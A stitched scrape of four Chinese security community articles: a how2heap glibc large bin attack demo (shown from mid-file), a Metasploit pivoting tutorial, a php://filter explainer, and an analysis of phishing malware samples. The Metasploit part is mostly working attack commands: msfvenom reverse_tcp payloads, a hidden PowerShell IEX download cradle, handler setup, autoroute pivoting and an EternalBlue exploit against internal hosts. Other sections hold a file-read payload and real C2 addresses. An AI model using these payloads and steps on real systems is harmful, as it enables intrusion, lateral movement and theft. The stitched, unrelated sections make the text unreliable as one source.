unsigned long *p2 = malloc(0x400);
fprintf(stderr, "Then, we allocate the second large chunk on the heap at: %p\n", p2 - 2);
fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
" the second large chunk during the free()\n\n");
malloc(0x20);
unsigned long *p3 = malloc(0x400);
fprintf(stderr, "Finally, we allocate the third large chunk on the heap at: %p\n", p3 - 2);
fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the top chunk with"
" the third large chunk during the free()\n\n");
malloc(0x20);
free(p1);
free(p2);
fprintf(stderr, "We free the first and second large chunks now and they will be inserted in the unsorted bin:"
" [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));
malloc(0x90);
fprintf(stderr, "Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the"
" freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation"
", and reinsert the remaining of the freed first large chunk into the unsorted bin:"
" [ %p ]\n\n", (void *)((char *)p1 + 0x90));
free(p3);
fprintf(stderr, "Now, we free the third large chunk and it will be inserted in the unsorted bin:"
" [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));
//------------VULNERABILITY-----------
fprintf(stderr, "Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\""
" as well as its \"bk\" and \"bk_nextsize\" pointers\n");
fprintf(stderr, "Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk"
" at the head of the large bin freelist. To overwrite the stack variables, we set \"bk\" to 16 bytes before stack_var1 and"
" \"bk_nextsize\" to 32 bytes before stack_var2\n\n");
p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);
//------------------------------------
malloc(0x90);
fprintf(stderr, "Let's malloc again, so the freed third large chunk being inserted into the large bin freelist."
" During this time, targets should have already been rewritten:\n");
fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
return 0;
}
This technique only works with disabled tcache-option for glibc, see glibc_build.sh for build instructions.
This file demonstrates large bin attack by writing a large unsigned long value into stack
In practice, large bin attack is generally prepared for further attacks, such as rewriting the global variable global_max_fast in libc for further fastbin attack
Let's first look at the targets we want to rewrite on stack:
stack_var1 (0x7ffc6975ac60): 0
stack_var2 (0x7ffc6975ac68): 0
Now, we allocate the first large chunk on the heap at: 0x1b31000
And allocate another fastbin chunk in order to avoid consolidating the next large chunk with the first large chunk during the free()
Then, we allocate the second large chunk on the heap at: 0x1b31360
And allocate another fastbin chunk in order to avoid consolidating the next large chunk with the second large chunk during the free()
Finally, we allocate the third large chunk on the heap at: 0x1b317a0
And allocate another fastbin chunk in order to avoid consolidating the top chunk with the third large chunk during the free()
We free the first and second large chunks now and they will be inserted in the unsorted bin: [ 0x1b31360 <--> 0x1b31000 ]
Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation, and reinsert the remaining of the freed first large chunk into the unsorted bin: [ 0x1b310a0 ]
Now, we free the third large chunk and it will be inserted in the unsorted bin: [ 0x1b317a0 <--> 0x1b310a0 ]
Now emulating a vulnerability that can overwrite the freed second large chunk's "size" as well as its "bk" and "bk_nextsize" pointers
Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk at the head of the large bin freelist. To overwrite the stack variables, we set "bk" to 16 bytes before stack_var1 and "bk_nextsize" to 32 bytes before stack_var2
Let's malloc again, so the freed third large chunk being inserted into the large bin freelist. During this time, targets should have already been rewritten:
stack_var1 (0x7ffc6975ac60): 0x1b317a0
stack_var2 (0x7ffc6975ac68): 0x1b317a0
让我们简化一下代码把注释部分去掉
unsigned long *p1 = malloc(0x320);
malloc(0x20);
unsigned long *p2 = malloc(0x400);
malloc(0x20);
unsigned long *p3 = malloc(0x400);
malloc(0x20);
free(p1);
free(p2);
malloc(0x90);
free(p3);
在VULNERABILITY之前我们的chunk结构如下
last_remainder: 0x6030a0 (size : 0x290)
unsortbin: 0x6037a0 (size : 0x410) <--> 0x6030a0 (size : 0x290)
largebin[ 0]: 0x603360 (size : 0x410)
0x6030a0 PREV_INUSE struct malloc_chunk {
prev_size = 0x0
size = 0x291
fd = 0x7ffff7dd1df8
bk = 0x6037a0
fd_nextsize = 0x0
bk_nextsize = 0x0
0x603360 PREV_INUSE struct malloc_chunk {
prev_size = 0x0
size = 0x411
fd = 0x7ffff7dd1f68
bk = 0x7ffff7dd1f68
fd_nextsize = 0x603360
bk_nextsize = 0x603360
0x6037a0 PREV_INUSE struct malloc_chunk {
prev_size = 0x0
size = 0x411
fd = 0x6030a0
bk = 0x7ffff7dd1b78
fd_nextsize = 0x0
bk_nextsize = 0x0
我们可以看出p2在largebin中，p1和p3在unsorted bin中
p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);
接下来我们修改了p2的chunk，将size改小，将bk指向&stack_var1-0x10，将bk_nextsize指向&stack_var2 -0x20
接下来我们malloc一个堆块，使p3进入largebin，然后将栈上的两个变量改为p3
我们来分析一下其中的步骤
malloc一个堆块，此时fastbin为空，我们会去unsortedbin历遍寻找，但p3的size不在smallbin的范围内，p3的size大于p2(0x3f1)，p3插入large
bin的头结点，并执行以下操作
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
victim为p3，fwd为p2
通过上面代码我们可以实现fwd->bk_nextsize->fd_nextsize=victim，fwd->bk=victim，修改fwd的bk和bk_size
我们这样通过构造 nextsize 双向链表，使得栈上的两个变量变为p3，最终可以实现任意地址写
### 参考链接
<https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/>
<<https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/large_bin_attack/#0x1-how2heaplarge_bin_attack> | 社区文章 |
# 【技术分享】使用 MSF 路由转发实现MSF框架的内网渗透
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[myles007](http://bobao.360.cn/member/contribute?uid=749283137)
预估稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、利用过程**
**1.1 利用背景**
我们在渗透的过程中常常会遇到这种场景：我们已经通过web渗透拿下一台内网服务器，为了进一步进行内网渗透，我们会利用“沦陷主机”作为跳板进行进一步的内网渗透，而内网渗透的思路和方法可能很多，但是使用起来并不是很方便，可能会需要很庞大的工具箱的支持，具体内容这里不做展开说明。
我们现在假设的场景是，此时我们已经拿下一台内网服务器的远程桌面环境，在进行内网渗透时，发现内网有大量存MS17-010的漏洞主机，如果我们想拿下这些主机，可能就要动用NSA工具箱，但是此工具箱的使用相当的麻烦，此时我们第一时间想起的一定是神器Metasploit，其是进行内网渗透的一把利器，且使用方便，但是我们同样不能将这么大的一个框架部署到“沦陷的主机”上吧。那么问题来了，我们有没有好的办法直接使用我们外网已经搭建好的MSF框架呢？这里提供大家一个思路，我们是不是可以利用“沦陷主机”作为跳板，来实现使用MSF框架直接对内网主机的直接渗透呢？答案是当然的，MSF框架为我们提供了一个很好功能跳板版能模块，此模块可以为我们添加一条转发路由去往内网，具体内容会在下面的文档中为大家揭晓。
**1.2 利用场景拓扑**
**1.3 利用场景思路**
本篇文档，我们使用的方法和思路，就是结合powershell ps1
攻击载荷来在“沦陷主机”上直接反弹回一个session会话，然后利用此session会话作为MSF访问内网的跳板（即路由的下一跳（nexthop）网关），从而来实现MSF直接对内网主机资源的直接访问。
利用条件：
(1)已经拿下的webshell 的 Windows服务器；
(2)powershell ps1会话反弹
(3)MSF跳板路由添加
**二、利用过程分析**
****
**2.1 生成powershell反弹**
如果想要利用MSF攻击平台直接对内网其他主机进行渗透攻击，那么我们的MSF平台需要要有去往“目标内网的路由”，但是我们知道“目标内网服务器”除了对外服务的服务器我们可以直接访问，其实内网其他主机都是私有IP,无法由互联网直接访问的，这时我就需要在MSF平台添加一条路由去往内网，而MSF平台就有这个“路由转发的功能”，而且这一去往内网路由的下一跳就是建立在MSF平台与“目标主机”之间session会话上的。所以，我们在使用MSF路由转发功能时，首先就是要先建立一个“MSF平台”与“目标主机”的session会话。
因为笔者前面已经说过直接产生dll 反弹shell的方法，这里就在学习与记录下反弹powershell ps1的shell反弹过程。
**2.1.1 使用MSF生成一个反弹的 ps1的shell**
反弹shell生成语句如下:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.123 lport=12345 -f psh-reflection>/tmp/search.ps1
注：可能会有小伙伴会问，为什么不直接使用MSF生产一个反弹shell就好了，说的没错直接使用MSF生产一个反弹shell也是可以的，只是可能如果服务器上有相关的杀软的话，可能就会被干掉，我这里直接使用这一刚刚暴露出的漏洞其有很好的过杀软的作用，且其可用利用系统访问范围几乎是全覆盖的，同时本人是想把此漏洞的实战利用价值和思维也带给大家。
**2.1.2 上传search.ps1到目标主机**
生成完ps1 shell后，想办法将search.ps1上传到目标服务器，为下一步漏洞的触发调用做好准备，这里笔者就直上传了到服务器桌面。
注：可能有很多小伙伴看过网上的教程，对此有些疑问，网上给出的使用方法，一般是将这shell脚本通过web服务发布到网上，然后利用用户点击快捷方式的时候触发shell下载，然后执行shell获取一个shell反弹。
我这里的实际环境是，我们已经获取了目标站点的shell,可以直接上传这个shell，然后让然漏洞利用直接在本地执行，无需再去网络上下载。
**2.1.3 本地生成一个powershell 本地快捷方式**
首先，输入快捷方式调用的对象位置，具体的powershell 本地调用方式的语句如下：
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('C:UsersMylesDesktopshell.ps1');test.ps1"
随后，我将这个powershell快捷方式命名为poweshell.exe。
**2.1.4 开启MSF本地监听**
在LNK漏洞环境都准备完毕后，接下就是开启远端的监听了，等待漏洞触发反弹出一个shell出来，具体MSF开启端口监听的命令如下。
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
show options
set LHOST 192.168.1.123
set lport 12345
exploit
**2.1.5 主动触发漏洞获取反弹shell**
MSF监听已经开了，反弹shell也已经上传，现在我们只要主动触发shell反弹即可。即，我们只要双击桌面快捷方式，即可反弹出一个shell到远端的MSF监听，我很快就可以看到MSF的会话监听已经打开，shell已经反弹成功，成功获取一个MSF与目标主机的session会话。
**再次解惑：**
可能前面我们做了这么多工作，还是有小伙伴并不清楚我们要做什么，可能还回吐槽说我们都已经获取目标主机的控制权限了，还要创建个MSF的session会有啥意义呢？
其实我们回到文档的开头，回到标题我们可能就会知道我们为什么要获取一个“ **目标主机与MSF的session会话**
”了，我创建这个session就是为了能使用MSF这个框架对内网的其他主机做进一步的渗透了，有个这个session,我们的外网MSF攻击平台就能利用这个session帮助我们与内网主机的通信提供数据路由转发,下面一个节会详细给大家介绍有关MSF路由添加功能的实现。
**2.2 MSF跳板功能**
**2.2.1 基本概念**
MSF的跳板功能，其实是MSF框架中自带的一个路由转发功能，其实现过程就是MSF框架在已经获取的meterpreter
shell的基础上添加一条去往“内网”的路由，此路由的下一跳转发，即网关是MSF攻击平台与被攻击目标建立的一个session会话，具体理解大家可以看见前面的1.2章节的拓扑图。
通过msf添加路由功能，可以直接使用msf去访问原本不能直接访问的内网资源，只要路由可达了那么我们使用msf的强大功能，想干什么就干什么了。
**2.2.2 msf 跳板实现过程**
2.2.2.1 基本过程
（1）需要有一个已经获取的meterpreter 会话；
（2）获取内网地址网段
（3）在MSF平台上添加去往“内网网段”的路由
2.2.2.2 实现过程
（1） 已经获取一个meterpreter shell
第1个条件，是我们要想办法获取一个MSF攻击平台与目标主机的shell会话（meterpreter）,然后利用此会话。具体获取meterpreter会话的方法很多，本演示案列中是以powershell
ps1 反弹一个会话为演示，具体内容请见后面复现过程。
MSF 路由添加帮助查询命令如下：
meterpreter > run autoroute -h
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Usage: run autoroute [-r] -s subnet -n netmask
[*] Examples:
[*] run autoroute -s 10.1.1.0 -n 255.255.255.0 # Add a route to 10.10.10.1/255.255.255.0
[*] run autoroute -s 10.10.10.1 # Netmask defaults to 255.255.255.0
[*] run autoroute -s 10.10.10.1/24 # CIDR notation is also okay
[*] run autoroute -p # Print active routing table
[*] run autoroute -d -s 10.10.10.1 # Deletes the 10.10.10.1/255.255.255.0 route
[*] Use the "route" and "ipconfig" Meterpreter commands to learn about available routes
[-] Deprecation warning: This script has been replaced by the post/multi/manage/autoroute module
（2）获取目标内网地址段
具体获取被攻击目标内网地址网段的命令如下所示：
meterpreter > run get_local_subnets
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 172.17.0.0/255.255.0.0
由上可以获知，目标内网网段是“172.17.0.0./24”
（3）添加去往目标网段的转发路由
在meterpreter 会话上直接添加去往目标网段的路由，具体添加方法如下所示。
meterpreter > run autoroute -s 172.17.0.0/24
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 172.17.0.0/255.255.255.0...
[+] Added route to 172.17.0.0/255.255.255.0 via 10.48.8.234
[*] Use the -p option to list all active routes
添加网路由后，我们来查看下路由的添加情况如何，具体命令如下所示：
meterpreter > run autoroute -p
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- ------- 172.17.0.0 255.255.255.0 Session 3
**注：由以上内容，我们可以看到出添加了一条路由：**
目标：172.17.0.0 掩码：255.255.25.0 下一跳网关：Session 3
这里的 Session 3，即当前被攻击目标主机与MSF平台建立的meterperter会话。
OK, MSF平台有了去往内网网段的路由，我们就可以直接使用MSF平台对内网的主机进行进一步的渗透利用了。
**三、案列场景复现**
****
**3.0 复现场景拓扑**
（1）MSF平台：192.168.10.109
（2）目标主机：10.48.8.234
（3）目标网段：10.48.8.0/24
具体复现的场景，就是1.2章节网络环境拓扑。
**3.1 打开MSF本地监听**
为了接受目标主机反弹回来的meterperter shell，我们需要首先打开一个MSF本地监听端口，等待会话的反弹，具体操作过程如下。
msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 192.168.10.109
set lport 12345
exploit
****
**3.2 使用powershell ps1 获取一个meterpreter**
**3.2.1 生成 powershell ps1攻击载荷**
此时我们已经获取了目标主机的windows控制权限，接下来我们直接使用MSF生成一个ps1反弹shell;
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.100.109 lport=12345 -f psh-reflection>/tmp/search.ps1
**3.2.2 上传反弹shell到目标主机**
在生成反弹shell后，我们就是直接上传search.ps1 攻击载荷到目标主机。
**3.2.3 触发 powershell 反弹shell**
利用上传的search.ps1 攻击payload,在目标主机上生成一个powershell 本地快捷方式，然后点击快捷方式触发powershell
ps1利用，反弹一个shell会话到MSF平台。有关poershell ps1 快捷方式的语句如下所示（具体详细使用情况可参见章节：2.1.3）。
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('C:UsersMylesDesktopshell.ps1');test.ps1"
注：直接复制上面的语句到创建快捷方式的“请键入对象的位置”即可，但是各位自操作时，请注意serach.ps1的物理位置，不要搞错。
**3.3 获取内网网段信息**
在MSF平台监听端，我们获取反弹的shell后（即session），我们可以直接在meterpreter控制终端进行目标网段信息的查询，具体查询命令如下。
meterpreter > run get_local_subnets
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 10.48.8.0/255.255.255.0
Local subnet: 169.254.0.0/255.255.0.0
meterpreter >
****
通过内网本地路由查询，可以获悉内网网段地址为：10.48.8.0/24
**3.4 添加目标网段路由**
我们在获知目标内网网段路由为10.48.8.0/24后，接下来就是添加去往目标内网网段（10.48.8.0/24）的静态路由，添加路由的具体命令执行如下。
meterpreter > run autoroute -s 10.48.8.0/24
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 10.48.8.0/255.255.255.0...
[+] Added route to 10.48.8.0/255.255.255.0 via 10.48.8.234
[*] Use the -p option to list all active routes
meterpreter >
****
**3.5 内网主机渗透**
我们将去往内网的路由打通后，接下来就可以使用MSF平台直接对内网主机扫描和进行各种高危漏洞的直接渗透利用了。
**3.5.1 退到后台**
首先我们需要退到MSF攻击平台的操作面，为后面调用其他攻击模块做好准备，具体操作如下。
meterpreter > background
[*] Backgrounding session 2...
msf exploit(handler) > sessions -i
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ---------- 2 meterpreter x64/windows admin-PCadmin @ ADMIN-PC 192.168.10.109:12345 -> 10.48.8.234:53462 (10.48.8.234)
**3.5.2 漏洞主机发现**
通过目标主机，我们可以直接使用MSF下的扫描模块进行主机发现与扫描，这里我们直接使用最近流行的“永恒之蓝”漏洞扫描模块进行网络主机漏洞扫描。
use auxiliary/scanner/smb/smb_ms17_010
show options
set rhosts 10.48.8.0/24
set threads 50
run
通过主机漏洞扫描，我们发现10.48.8.236主机存在一个MS17-010漏洞。
**3.5.3 调用攻击载荷**
通过目标主机我们扫描发现内网有台主机存在MS17-010漏洞（10.48.8.236),我们现在直接使用使用MSF平台调通“永恒之蓝”漏洞攻击载荷，进行攻击获取主机控制权限，操作过程如下。
msf exploit(handler) > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) > set rhost 10.48.8.236
rhost => 10.48.8.236
msf exploit(ms17_010_eternalblue) > exploit
自此我们使用 "MSF
的跳转路由转发"，直接使用外网的MSF平台实现对内网私有主机的攻击演示结束，好了打完收工，各位看客有钱的捧个钱场，没钱的捧个人场，开个玩笑。
注：以上内容仅为个人学习所用，请勿用于非法攻击。
**学习参考**
****
<http://www.metasploit.cn/thread-1644-1-1.html>
<http://www.91ri.org/9560.html> | 社区文章 |
最近php伪协议的各种神奇妙用好像突然又常常提到了，php中支持的伪协议有下面这么多
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流（I/O streams）
zlib:// — 压缩流
data:// — 数据（RFC 2397）
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
今天着重研究php://
首先先把官方文档贴上来
<http://php.net/manual/zh/wrappers.php.php>
有两个比较重要的配置在php.ini中，allow_url_fopen
和allow_url_include会影响到fopen等等和include等等函数对于伪协议的支持，而allow_url_include依赖allow_url_fopen，所以allow_url_fopen不开启的话，allow_url_include也是无法使用的。
php://是用来访问各个输入、输出流的，除了`php://stdin, php://stdout 和 php://stderr`
# php://input
php://input代表可以访问请求的原始数据，简单来说POST请求的情况下，php://input可以获取到post的数据。
比较特殊的一点，enctype=”multipart/form-data” 的时候 php://input 是无效的。
# php://output
php://output 是一个只写的数据流， 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。
# php://filter
这篇文章的关键在于讨论php://filter,事实上，这也是我们常常使用的一个伪协议，在任意文件读取，甚至getshell的时候都有利用的机会。
`php://filter` 是一种元封装器， 设计用于数据流打开时的筛选过滤应用。 这对于一体式（all-in-one）的文件函数非常有用，类似
readfile()、 file() 和 file_get_contents()， 在数据流内容读取之前没有机会应用其他过滤器。
事实上，在include函数的使用上，经常会造成任意文件读取漏洞，而file_get_contents()和file_put_contents()这样函数下，常常会构成getshell等更严重的漏洞。
php://filter 目标使用以下的参数作为它路径的一部分。 复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。
文档里是这么写的
名称 描述
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称，以管道符（|）分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称，以管道符（|）分隔。
<；两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
我们举一个例子，这是平时我们用来任意文件读取的payload
php://filter/read=convert.base64-encode/resource=upload.php
这里读的过滤器为convert.base64-encode，就和字面上的意思一样，把输入流base64-encode。
resource=upload.php，代表读取upload.php的内容
下面仔细研究下关于过滤器的问题
## 过滤器
先贴文档，不因为自己的翻译小问题接锅 (・ω・)ノ
<http://php.net/manual/zh/filters.php>
### 转换过滤器
<http://php.net/manual/zh/filters.convert.php>
convert.* 过滤器是php5.0.0以后添加的。
#### base64
convert.base64-encode和 convert.base64-decode使用这两个过滤器等同于分别用 base64_encode()和
base64_decode()函数处理所有的流数据。 convert.base64-encode支持以一个关联数组给出的参数。如果给出了 line-length，base64 输出将被用 line-length个字符为 长度而截成块。如果给出了 line-break-chars，每块将被用给出的字符隔开。这些参数的效果和用 base64_encode()再加上 chunk_split()相同。
当然，这里的过滤器不止运用于php://filter，所以文档中给出的例子是这样的
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-encode');
fwrite($fp, "This is a test.\n");
fclose($fp);
/* Outputs: VGhpcyBpcyBhIHRlc3QuCg== */
$param = array('line-length' => 8, 'line-break-chars' => "\r\n");
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-encode', STREAM_FILTER_WRITE, $param);
fwrite($fp, "This is a test.\n");
fclose($fp);
/* Outputs: VGhpcyBp
: cyBhIHRl
: c3QuCg== */
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-decode');
fwrite($fp, "VGhpcyBpcyBhIHRlc3QuCg==");
fclose($fp);
/* Outputs: This is a test. */
?>
#### quoted-printable
convert.quoted-printable-encode和 convert.quoted-printable-decode使用此过滤器的 decode
版本等同于用 quoted_printable_decode()函数处理所有的流数据。没有和 convert.quoted-printable-encode相对应的函数。 convert.quoted-printable-encode支持以一个关联数组给出的参数。除了支持和
convert.base64-encode一样的附加参数外， convert.quoted-printable-encode还支持布尔参数 binary和
force-encode-first。 convert.base64-decode只支持 line-break-chars参数作为从编码载荷中剥离的类型提示。
关于quoted_printable_decode()在php.net上的解释是将 quoted-printable 字符串转换为 8-bit
字符串，原谅我没怎么看懂
### 字符串过滤器
string.*是用来处理各个字符串的，比较像python的string模块
#### string.rot13
rot13，很好理解
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.rot13');
fwrite($fp, "This is a test.\n");
/* Outputs: Guvf vf n grfg. */
?>
#### toupper
变大写，也同样很好理解
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.toupper');
fwrite($fp, "This is a test.\n");
/* Outputs: THIS IS A TEST. */
?>
#### tolower
这回是小写
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.tolower');
fwrite($fp, "This is a test.\n");
/* Outputs: this is a test. */
?>
#### string.strip_tags
string.strip_tags（自 PHP 5.0.0 起）使用此过滤器等同于用
strip_tags()函数处理所有的流数据。可以用两种格式接收参数：一种是和
strip_tags()函数第二个参数相似的一个包含有标记列表的字符串，一种是一个包含有标记名的数组。
strip_tags()返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果。
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, "<b><i><u>");
fwrite($fp, "<b>bolded text</b> enlarged to a <h1>level 1 heading</h1>\n");
fclose($fp);
/* Outputs: <b>bolded text</b> enlarged to a level 1 heading */
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, array('b','i','u'));
fwrite($fp, "<b>bolded text</b> enlarged to a <h1>level 1 heading</h1>\n");
fclose($fp);
/* Outputs: <b>bolded text</b> enlarged to a level 1 heading */
?>
### 压缩过滤器
zlib.* 压缩过滤器自 PHP 版本 5.1.0起可用，在激活 zlib的前提下。也可以通过安装来自 » PECL的 »
zlib_filter包作为一个后门在 5.0.x版中使用。此过滤器在 PHP 4 中 不可用。
zlib.deflate和 zlib.inflate是主要的两个用法
<?php
$params = array('level' => 6, 'window' => 15, 'memory' => 9);
$original_text = "This is a test.\nThis is only a test.\nThis is not an important string.\n";
echo "The original text is " . strlen($original_text) . " characters long.\n";
$fp = fopen('test.deflated', 'w');
stream_filter_append($fp, 'zlib.deflate', STREAM_FILTER_WRITE, $params);
fwrite($fp, $original_text);
fclose($fp);
echo "The compressed file is " . filesize('test.deflated') . " bytes long.\n";
echo "The original text was:\n";
/* Use readfile and zlib.inflate to decompress on the fly */
readfile('php://filter/zlib.inflate/resource=test.deflated');
/* Generates output:
The original text is 70 characters long.
The compressed file is 56 bytes long.
The original text was:
This is a test.
This is only a test.
This is not an important string.
*/
?>
### 加密过滤器
mcrypt. _和 mdecrypt._ 使用 libmcrypt 提供了对称的加密和解密。
格式为 mcrypt.ciphername，其中 ciphername是密码的名字，将被传递给
mcrypt_module_open()。有以下五个过滤器参数可用:
参数 是否必须 默认值 取值举例
mode 可选 cbc cbc, cfb, ecb, nofb, ofb, stream
algorithms_dir 可选 ini_get(‘mcrypt.algorithms_dir’) a lgorithms 模块的目录
modes_dir 可选 ini_get(‘mcrypt.modes_dir’) modes 模块的目录
iv 必须 N/A 典型为 8，16 或 32 字节的二进制数据。根据密码而定
key 必须 N/A 典型为 8，16 或 32 字节的二进制数据。根据密码而定
细节自己研究文档吧
<http://php.net/manual/zh/filters.encryption.php> | 社区文章 |
# Hvv样本合集分析（一）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
hvv期间，攻击者除了会对企业用户发起钓鱼攻击，还喜爱对蓝队防守人员发起钓鱼攻击，以防钓鱼手册、禁止访问xxx、钓鱼情况通报、蜜罐监控数据等为话题的鱼叉攻击层出不穷。在本文中，笔者将对最近看到的一系列样本进行分析，希望能帮助大家识别此类攻击，减少危害。
## 样本诱饵
根据不完全统计，目前笔者已经看到并统计到的诱饵名称包括但不限于（部分样本诱饵名涉及企业名称，已手动打码）：
个人信息资料&关于xxxxx银行公司薪酬架构内部调整决定初稿xxxx **.exe**
1.《xxxxx》课程审核材料填报 **.exe**
2.xxxx需要收集的信息 **.doc**
3.xxx个人简历_-副本- **.docx**
4.采购资料 **.zip**
5.简历 **.exe**
6.公司出入款明细 **.exe**
7.2021年春季学期xxx级干部专题进修班学院信息补充表. **docx.exe**
8.个人信息资料（信用卡中心） **.zip**
9.资料未通过 **.rar**
10.攻防演戏补丁检测使用手册 **.CHM**
11.xxxx简历模板 **.doc**
12.xxxx简历1 **.exe**
13.Windows激活工具 **.exe**
14.xxx安全防护 **.exe**
15.自查工具 **.exe**
16.关于护网攻防演练员工行为监管人员名单 **.exe**
17.Flash_Update **.exe**
18…….
## 样本分析
### Flash_Update.exe
原始样本模仿了Flash的更新程序，双击运行程序之后，程序首先会弹框显示”安装成功，请关闭窗口”以迷惑用户。
接着程序从data段去取一段数据，先通过base64解码，然后通过AES解密之后得到shellcode，程序通过VirtualAlloc分配一段内存空间并将该段shellcode拷贝过去后call
rbx加载执行：
解密出的dll是CobaltStrike生成的shellcode，程序会在dll中解密C2并准备建立连接
### 蜜罐服务监测情况.xlsm
原始样本是带有恶意VBA代码的excel文档，文档内容看起来像是正常的蜜罐报告。
调用的宏代码由CobaltStrike框架生成，是标准的CS马：
数据转换完成，程序将会通过rundll32.exe加载这段代码， 地址是589824，转换为16进制为：0x90000
通过火绒剑，可以看到EXCEL.exe调起了Rundll32.exe，该线程中0x90000的地方，就是CobaltStrike的shellcode。
将这部分数据dump下来，然后调试之后可以看到C2:81[.]69.250.97
**关联样本：APT攻击常用漏洞列表.xlsm**
859f0a38a3d5a5d1ab0d382eea7a14c7
根据样本C2，可以顺藤摸瓜找到一些其他的样本，其中一例名为《APT攻击常用漏洞列表.xlsm》，由于命名和此次捕获的样本十分类似，引起了笔者的注意。
需要注意的是，此样本显示的创建时间为2019年3月25日，首次上传VT时间为2020年12月21日，此样本不是VBA的宏利用，而是Macro4.0的恶意样本：
宏代码执行后将会从<http://81.69.250.97/anquan.msi>
下载msi文件到本地通过msiexec安装，下载的msi文件中包含了一个Binary.Payload的恶意文件：
该文件是msf生成的meterpreter后门
### ***企业资产汇总.xlsm
和上一个样本类似，该样本也是以资产为诱饵，样本打开后是一些ip地址，然后诱导用户启用宏代码以执行CobaltStrike的Payload
dump出shellcode调试可知C2：180.215.22.252
### 2021年春季学期xxx级干部专题进修班学院信息补充表.docx.exe
原始样本为双拓展名，由于Windows默认不显示后缀名，普通用户接收该文件之后很容易误以为是docx文档并双击打开，样本运行后，会读取资源加载到新分配的内存
创建新线程执行资源的shellcode：
shellcode会多次循环解密后面的代码
解密后的shellcode依旧保持着较高的混淆，无法有效阅读：
解密请求C2路径和请求头(User-Agent:Mozilla/4.0(compatible;MSIE7.0;WindowsNT5.1;Maxthon2.0))
设置session：Cookie:session=776t3g==
对C2：hxxps://8.140.160.74:8080/Home发起请求，接收返回值
### 《xxxxx》课程审核材料填报.exexxxxx
原始样本是一个C#编写的加载器，通过盗用正常Word程序的图标来迷惑用户
样本启动之后，会先通过AES解密硬编码的数据，在base64解码之后解压缩得到shellcode，ASE的key为：
这里解密的两段数据分别为一段shellcode和一个用于迷惑用户的docx文件，程序首先会通过notepad.exe加载shellcode，然后将自身移动到temp目录下并以GUID重命名，最后打开释放的docx文档。
